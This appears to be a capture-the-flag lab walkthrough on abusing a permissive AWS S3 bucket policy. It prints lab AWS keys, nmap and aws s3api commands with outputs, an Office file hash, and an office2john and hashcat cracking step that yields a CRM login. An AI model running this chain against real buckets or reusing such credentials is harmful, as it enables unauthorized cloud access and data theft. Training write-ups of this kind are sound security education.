AWS: Exploiting Weak Bucket Policies for Privileged Access

Exploit Weak Bucket Policies for Privileged Access

Exploiting risky bucket policies to gain privileged access

The question means that there is a vulnerability in the bucket ACL. It may be whitelist camouflage, information collection, etc.

The topic is given

AK：AKIA3NRSK2PTAS47QEQT
SK：WnMiEke9GC7RHVKvZk4mzBsUCSh8NcsGRRtbUwp2
云基础设施地址: 13.43.144.61

Just scan this IP 13.43.144.61 with nmap to see what ports are open.

Port 3000 is a web. After checking the source code, I found that aws-s3 is in the eu-west-2 region.

 <img src="https://hugelogistics-data.s3.eu-west-2.amazonaws.com/truck.png" class="truckimg" alt="" srcset="">
 <h2 class="sub-Heading">Everyday Anytime Anywhere</h2>
 <p class="main-hero-para">
            

Next we aws config and view the contents of this s3

aws s3 ls hugelogistics-data

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: User: arn:aws:iam::785010840550:user/test is not authorized to perform: s3:ListBucket on resource: "arn:aws:s3:::hugelogistics-data" because no identity-based policy allows the s3:ListBucket action

The aws-V2 version has optimized the echo and will tell us the details that we do not have permissions (there were no details before)

aws s3 ls hugelogistics-data --no-sign-request

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

Sending unsigned (unauthenticated) requests will not work (aws s3 ls hugelogistics-data --no-sign-request can only be used when ACL is configured with anonymous access)

Let’s check s3ACL

 aws s3api get-bucket-acl --bucket hugelogistics-data

An error occurred (AccessDenied) when calling the GetBucketAcl operation: User: arn:aws:iam::785010840550:user/test is not authorized to perform: s3:GetBucketAcl on resource: "arn:aws:s3:::hugelogistics-data" because no identity-based policy allows the s3:GetBucketAcl action

acl cannot be viewed directly

But we can look directly at the policy, through which we can view the relationship between user roles and services (Policy is a document used to define permissions. Policies can be applied to AWS resources (such as S3 buckets, IAM users, roles, etc.) to control who can access these resources and what operations they can perform. Policies are usually written in JSON format and contain one or more statements, each statement defines an access control rule.)

aws s3api get-bucket-policy --bucket hugelogistics-data
{
    "Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Sid\":\"PublicReadForAuthenticatedUsersForObject\",\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"*\"},\"Action\":[\"s3:GetObject\",\"s3:GetObjectAcl\"],\"Resource\":[\"arn:aws:s3:::hugelogistics-data/backup.xlsx\",\"arn:aws:s3:::hugelogistics-data/background.png\"]},{\"Sid\":\"AllowGetBucketPolicy\",\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"*\"},\"Action\":\"s3:GetBucketPolicy\",\"Resource\":\"arn:aws:s3:::hugelogistics-data\"}]}"
}

But it's better to make it more readable. We can do this using the following command.

aws s3api get-bucket-policy --bucket hugelogistics-data | jq -r '.Policy' | sed 's/\\//g' | jq The result is

Globally any authenticated AWS user can access the ACL and the contents of the two specified files ( and ) in the bucket.

Even though we couldn't list the bucket's contents, we were still able to leak the contents and access them! Let's transfer the Excel file locally.

But a password is required:

wget https://raw.githubusercontent.com/openwall/john/bleeding-jumbo/run/office2john.py

This script takes an Office file as input and creates a hash value taking into account the version of the Office document.

Different versions of Microsoft Office use different encryption methods, which meanshashcatand other tools have specific modes for each version. Office 2007 uses encryption based on SHA-1 and AES-128, while Office 2010 upgrades to SHA-512 with AES-128 or AES-256. Office 2013 and later further enhances security by defaulting to SHA-512 with AES-256, adding random salt during encryption, and increasing the number of SHA-512 iterations. This makes cracking encrypted passwords more computationally expensive and slower in newer versions of Office.

Run the following command to generate a hash of the document, which we can perform an offline brute force attack on.

The hash is:$office$*2013*100000*256*16*5e8372cf384ae36827c769ef177230fc*c7367d060cc4cab8d01d887a992fbe2b*a997b2bfbbf996e1b76b1d4f070dc9214db97c19411eb1fe0ef9f5ff49b01904

With the hash value, we need hashcat to explode ithashcat -a 0 -m 9600 hash.txt rockyou.txt

(rockyou is the official default)

This should be the website’s backend account password

The backend of this kind of crm site is usually /crm or /dashboard /login

It has been measured that the databases called by different interfaces are different. The crm user of our xlsx table can use the crm directory.

There is a flag in the exported table